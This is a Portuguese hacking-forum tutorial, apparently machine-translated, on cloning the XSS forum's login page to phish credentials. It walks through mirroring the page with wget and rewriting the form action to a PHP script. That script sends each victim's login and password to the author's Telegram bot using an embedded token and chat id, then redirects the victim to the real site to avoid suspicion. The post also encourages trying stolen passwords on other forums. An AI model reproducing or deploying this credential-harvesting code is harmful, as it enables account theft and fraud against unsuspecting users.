COVIL HACKER

, ! .


» COVIL HACKER » Vulnerabilidades de aplicativos da Web » Artigo Ataque de phishing no exemplo do fórum XSS. Obtemos log:pass di


Artigo Ataque de phishing no exemplo do fórum XSS. Obtemos log:pass di

1 2 2

1

Spoiler: não use isso em usuários do fórum. Para se proteger desse tipo de ataque, use 2FA e verifique o domínio do site que você visita. Use senhas diferentes em todos os sites.​
E então, o que é phishing para quem não sabe.

Phishing é um tipo de fraude na Internet cujo objetivo é obter acesso a dados confidenciais do usuário - logins e senhas.

Isso nos é fornecido pela Wikipedia, e se, em termos simples, for uma cópia do site, seja um layout baixado ou um 1v1 feito com as próprias mãos, no qual, ao pressionar o botão de login ou login ou pressione enter, os dados dos campos de login e senha não são enviados ao servidor do site para tentar o login, mas voam direto para o nosso servidor e depois para o telegrama para facilitar a leitura.

A propósito, o login e a senha recebidos podem ir não apenas para a conta do site em que a vítima está tentando entrar, mas também para outros sites, uma pessoa é preguiçosa por natureza e a maioria caiu em pelo menos usar senhas diferentes em sites, então podemos usá-lo duplamente tentando bruto e outros fóruns também, como VVH, lolz e outros.

Vamos começar..
Com base no exposto, precisamos de um layout ou uma cópia da página de autorização do nosso fórum. Deixaremos a opção de fazer manualmente como último recurso, a primeira coisa que você precisa fazer é tentar baixar a página automaticamente e ver se ela está sem ombreiras, apenas economizamos tempo.

Os hackers legais da mamãe usam o Linux e ele já possui uma ferramenta integrada chamada wget . Para quem não tem e está nas distribuições Debian, instale com o comando

sudo apt update && sudo apt install wget


Pesquisar linux wget full page stackoverflow nos dá o seguinte comando

https://forumupload.ru/uploads/001b/c9/09/2/t422119.png


Nós vamos usá-lo. A página de autorização está localizada no link https://xss.is/login , inserimos em nossa equipe

wget \
     --recursive \
     --level 5 \
     --no-clobber \
     --page-requisites \
     --adjust-extension \
     --span-hosts \
     --convert-links \
     --restrict-file-names=windows \
     --domains yoursite.com \
     --no-parent \
         https://xss.is/login

Por precaução, direi para você prescrever o comando já em uma pasta pré-criada na área de trabalho para que depois você não suba no computador e não procure onde o site baixou.

Como resultado do download, obtemos um arquivo index.html

https://forumupload.ru/uploads/001b/c9/09/2/t690943.png

arquivos de origem como css, js de quaisquer scripts que não precisamos localmente, será suficiente que eles sejam extraídos do host do fórum.
Exemplo:
<script src="https://xss.is/js/xf/login_signup.min.js?_v=88682c32"></script>

Sempre aconselho configurar um servidor local para ver o resultado do site baixado localmente pelo navegador, as vezes os scripts não funcionam se você abrir index.html pelo caminho exemplo: mas funcionam corretamente no Você pode baixar
file:///home/me/Downloads/test/xss.is/login/index.html
o
localhost localhost:8000
OpenServer ou Xampp, ligue o Apache e solte index.html ali mesmo e veja o que aconteceu no localhost. Mas eu não gosto desses programas, é mais fácil para mim fazer isso com php e aqui está como.

Se alguém não tiver php, instale
sudo apt install php
verificando se a versão mais recente é 8.1 ou 8.2 algo assim, se 7.4 estiver instalado já está desatualizado e não é muito útil, mas isso é para o futuro.

Comando para aumentar o servidor local
php -S localhost:8000

https://forumupload.ru/uploads/001b/c9/09/2/t215804.png

É natural prescrever na pasta em que está localizado nosso index.html,

podemos ver no navegador o que obtivemos

https://forumupload.ru/uploads/001b/c9/09/2/t84324.png

Temos muita sorte da página ser exibida corretamente, sem ombreiras e bugs de layout, geralmente quando você baixa o site em 90% dos casos você precisa fazer algumas edições para que a cópia fique quase 1 em 1, mas aqui está tudo ok.
Acho que é hora de fazer uma pausa
Abrimos a pasta com o arquivo no VSCODE, abrimos index.html e para encontrar o formulário com os campos login e senha, fica mais fácil procurar o nome de usuário ou e-mail e na 700ª linha encontramos imediatamente nosso formulário

https://forumupload.ru/uploads/001b/c9/09/2/t610404.png

Um pouco mais acima vemos a linha
<form action="https://xss.is/login/login" method="post" class="block"
aqui que precisamos alterar a ação, é através dela que serão enviados todos os dados do formulário, a senha de login é o token _xfToken e assim por diante, mas de toda confusão vamos tirar apenas o registro:passa.
Mude a ação para  otstuk.php

Vai sair assim
<form action="otstuk.php" method="post" class="block"

https://forumupload.ru/uploads/001b/c9/09/2/t82556.png

Claro, agora precisamos criar esse arquivo em uma pasta e escrever o código que enviará nossos dados para o carrinho.

https://forumupload.ru/uploads/001b/c9/09/2/t546911.png

A primeira coisa a verificar é o que está sendo enviado. Para fazer isso, escrevemos o seguinte código

<pre> //

<?php // php

var_dump($_POST); // - ,
$_POST

https://forumupload.ru/uploads/001b/c9/09/2/t288488.png

Salvamos, vamos ao nosso localhost, preenchemos os dados do teste e pressionamos o botão de login.

https://forumupload.ru/uploads/001b/c9/09/2/t348676.png

https://forumupload.ru/uploads/001b/c9/09/2/t262219.png

Podemos ver que tudo funciona corretamente, os dados chegam, vemos nosso log de teste passar e não precisamos do resto.

telegrama
Um pouco de preparação
Crie seu bot através de https://t.me/botFather , com a ajuda do bot receberemos um log:pass em uma mensagem pessoal. Copie o token emitido.

https://forumupload.ru/uploads/001b/c9/09/2/t894131.png

Certifique-se de enviar /start para o bot para criar um chat com ele.

https://forumupload.ru/uploads/001b/c9/09/2/t623405.png

Use https://t.me/userinfobot para descobrir seu chat_id. Isso é necessário para que nosso bot entenda para quem enviar a mensagem.

Como resultado, você deve anotar seu id de chat e o token de bot criado em algum lugar.

https://forumupload.ru/uploads/001b/c9/09/2/t436128.png

De volta ao PHP
Na API do Telegram, para enviar uma mensagem de um bot para uma LAN, uma solicitação HTTP GET é usada.

https://api.telegram.org/botTOKEN/sendM … ;text=TEST

Em vez de TOKEN - nosso token de bot é inserido

Em vez de chat_id - nosso ID de bate-papo.

Texto - o texto da mensagem deve ser codificado para urls (urlencoded).

Mas se inserirmos o link no navegador, ele codificará nossa própria mensagem, precisará apenas ser codificado em código PHP.

Vamos tentar enviar uma mensagem de teste.
https://api.telegram.org/bot6062552065: … ;text=TEST
Eu tenho esse link, colo no navegador e vejo o que sai.

Tudo está funcionando!

https://forumupload.ru/uploads/001b/c9/09/2/t490537.png

E o bot enviou uma mensagem


https://forumupload.ru/uploads/001b/c9/09/2/t949804.png

Eu removo tudo o que escrevi anteriormente e tento integrá-lo ao PHP. Para executar uma solicitação get, bastará usar a função file_get_contents

<?php
file_get_contents('https://api.telegram.org/bot6062552065:AAH4TpFlhP3VZ84rGi5MBPADBC4dCW3BqdM/sendMessage?chat_id=6142058098&text=TEST');

Agora, pressionando o botão de login na página do peixe, seremos redirecionados para otstuk.php e o bot do carrinho nos enviará uma mensagem de TESTE.

Vamos substituir TEST por um log pass e depois redirecionar para a página principal do fórum para não levantar suspeitas.

Vamos criar uma variável $mensagem = ''.

Para colocar o login nela, adicione a seguinte linha:

$message .= 'Login: ' . $_POST['login'];

Como a variável post é um array, você pode acessá-la pela chave de login e obtê-la você mesmo.

Vamos verificar o que a variável $message agora armazena em si mesma. Isso pode ser feito com uma linha.

var_dump($message); die;
die - encerrará a execução do código para não enviar uma solicitação get durante nossa depuração.

https://forumupload.ru/uploads/001b/c9/09/2/t350087.png

https://forumupload.ru/uploads/001b/c9/09/2/t104519.png

Tudo funciona corretamente, de acordo com o mesmo esquema, adicionamos a senha à nossa variável $message, apenas adicionamos uma demolição da linha ao login para que a mensagem não fique em uma linha.

$message .= 'Login: ' . $_POST['login'] . "\n"; //
$message .= 'Password: ' . $_POST['password'];

Debazim

https://forumupload.ru/uploads/001b/c9/09/2/t53280.png

Tudo em uma linha só, mas quando for mandar uma mensagem no carrinho vai ficar lindo.

A última etapa é substituir TEST pela nossa variável e adicionar um redirecionamento.
file_get_contents('https://api.telegram.org/bot6062552065:AAH4TpFlhP3VZ84rGi5MBPADBC4dCW3BqdM/sendMessage?chat_id=6142058098&text=' . urlencode($message));

O redirecionamento é feito com
Header('Location: https://xss.is/login/');
Não se esqueça de remover o dado; , caso contrário, o código será interrompido.

O resultado final deve ser algo assim

<?php

$message = '';

$message .= 'Login: ' . $_POST['login'] . "\n";

$message .= 'Password: ' . $_POST['password'];

var_dump($message);

file_get_contents('https://api.telegram.org/bot6062552065:AAH4TpFlhP3VZ84rGi5MBPADBC4dCW3BqdM/sendMessage?chat_id=6142058098&text=' . urlencode($message));

Header('Location: https://xss.is/login/');

Vamos ao navegador em nosso localhost, digite a senha de login e veja o que acontece.

Tudo está funcionando!

Telegram me enviou uma mensagem

https://forumupload.ru/uploads/001b/c9/09/2/t557016.png


https://xss.is/attachments/61365/

0

2


» COVIL HACKER » Vulnerabilidades de aplicativos da Web » Artigo Ataque de phishing no exemplo do fórum XSS. Obtemos log:pass di


|